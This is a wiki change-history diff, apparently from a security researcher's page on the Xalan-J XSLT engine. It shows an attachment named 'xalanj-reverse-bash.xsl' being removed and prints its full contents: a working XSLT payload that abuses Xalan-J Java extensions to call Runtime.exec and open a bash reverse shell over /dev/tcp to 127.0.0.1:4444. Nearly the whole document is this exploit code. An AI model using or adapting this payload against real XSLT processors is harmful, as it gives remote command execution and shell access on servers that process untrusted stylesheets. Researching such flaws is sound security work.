Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version Icon 47.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:47
Change comment: Upload new attachment xalanj-reverse-bash.xsl
To version Icon 46.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:44
Change comment: There is no comment for this version

Summary

Details

Icon xalanj-reverse-bash.xsl
Author
... ... @@ -1,1 +1,0 @@
1 -xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,1 +1,0 @@
1 -1002 bytes
Content
... ... @@ -1,31 +1,0 @@
1 -<xsl:stylesheet
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:jv="http://xml.apache.org/xalan/java"
4 - exclude-result-prefixes="jv"
5 - version="1.0">
6 -
7 - <xsl:template match="/">
8 -
9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 -
14 -Objet "String" :
15 - <xsl:value-of select="$test"/>
16 -
17 -Objet "Array" :
18 - <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 - <xsl:value-of select="$aAsString"/>
20 -
21 -Objet "Runtime" :
22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 - <xsl:value-of select="$rtobjectAsString"/>
24 -
25 -Objet "Process" :
26 - <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 - <xsl:value-of select="$processAsString"/>
28 -
29 - </xsl:template>
30 -</xsl:stylesheet>
31 -